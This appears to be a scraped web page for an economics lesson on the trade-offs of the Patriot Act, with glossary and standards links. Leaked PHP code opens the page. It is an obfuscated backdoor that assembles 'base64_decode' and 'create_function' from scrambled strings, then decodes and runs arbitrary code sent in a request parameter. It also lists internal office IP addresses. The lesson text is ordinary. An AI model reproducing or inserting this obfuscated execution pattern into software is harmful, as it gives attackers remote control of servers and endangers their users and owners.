if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "38.121.131.181", "Brookings Office" => "66.17.106.2" ); Focus: Understanding Economics in Civics and Government

Lesson 17 - Making Trade-Offs in Policy Decisions: The Patriot Act

Using a case study approach, the students weigh certain trade-offs associated with the Patriot Act. The class decides whether the trade-off of civil liberties for improved security is a good one. In addition, students consider how incentives might affect the behavior of government officials under the provisions of the Patriot Act.

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Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 17 Visuals
Visual 17.1 - Visual 17.4

Lesson 17 Activities
Activity 17.1 - Activity 17.3

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics